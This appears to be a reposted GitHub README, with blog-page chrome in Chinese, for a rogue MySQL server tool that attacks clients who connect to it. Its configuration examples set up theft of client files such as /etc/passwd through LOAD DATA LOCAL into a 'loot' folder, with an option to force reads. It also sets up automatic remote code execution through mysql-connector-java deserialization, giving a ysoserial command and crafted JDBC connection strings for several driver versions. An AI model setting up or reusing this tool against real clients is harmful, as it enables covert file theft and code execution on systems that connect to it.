rogue_mysql_server,GitHub - simlelcf/rogue_mysql_server: 一个支持 go, php, python, java, 原生命令行等多种语言下客户端的...

Rogue Mysql Server

基于 https://github.com/vitessio/vitess 实现的恶意 mysql 服务器, 支持 go, php, python, java, 原生命令行等多种语言下的多种库的 mysql 客户端.

远离恼人的兼容性问题, 测试过的客户端见下表

language

library

pass

go

github.com/go-sql-driver/mysql

✔️

php

mysqli, pdo

✔️

python

pymysql

✔️

java

mysql-connector-java

✔️

native

10.4.13-MariaDB

✔️

觉得好用可以点右上方的 🌟 支持作者

功能

可以兼容多种 mysql 客户端

可以读取二进制文件

自动保存文件

作为蜜罐使用时, 可选择开启帐号密码验证

读取客户端的 ConnAttr, 可能会包含一些客户端的额外信息

对于 jdbc, 可控链接串的情况下可以利用 mysql-connector-java 反序列化漏洞进行 RCE

配置文件

示例:

host: 0.0.0.0

port: 3306

version_string: "10.4.13-MariaDB-log"

file_list: ["/etc/passwd", "C:/boot.ini"]

save_path: ./loot

always_read: false

auth: true

users:

- root: root

- root: password

host, port 对应监听的 IP 和端口. version_string 对应客户端得到的服务端版本信息.

auth 对应是否开启验证, 如果为 false, 那么不管输什么密码或者不输入密码都可以登录.

如果为 true, 则需要帐号密码匹配下面的设置的帐号密码中的一条.

而 file_list 对应需要读取的文件, 会按照客户端执行语句的顺序读取列表中的文件, 并保存到 save_path 文件夹中.

如果开启 always_read, 那么不管客户端是否标记自己支持 LOAD DATA LOCAL, 都会尝试去读取文件, 否则会根据客户端的标记来决定是否读取, 避免客户端请求不同步.

jdbc 利用相关

与 jdbc 相关的配置如下

jdbc_exploit: false

always_exploit: false

ysoserial_command: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections7", 'open -a Calculator']

jdbc_exploit 代表这个功能开启, 在检测到客户端是 mysql-connector-j 的情况下会自动利用.

always_exploit 代表总是开启利用, 优先级比 always_read 高.

ysoserial_command 生成反序列化 payload 的命令.

8.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=password

6.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=password

>=5.1.11: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=password

Ref

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值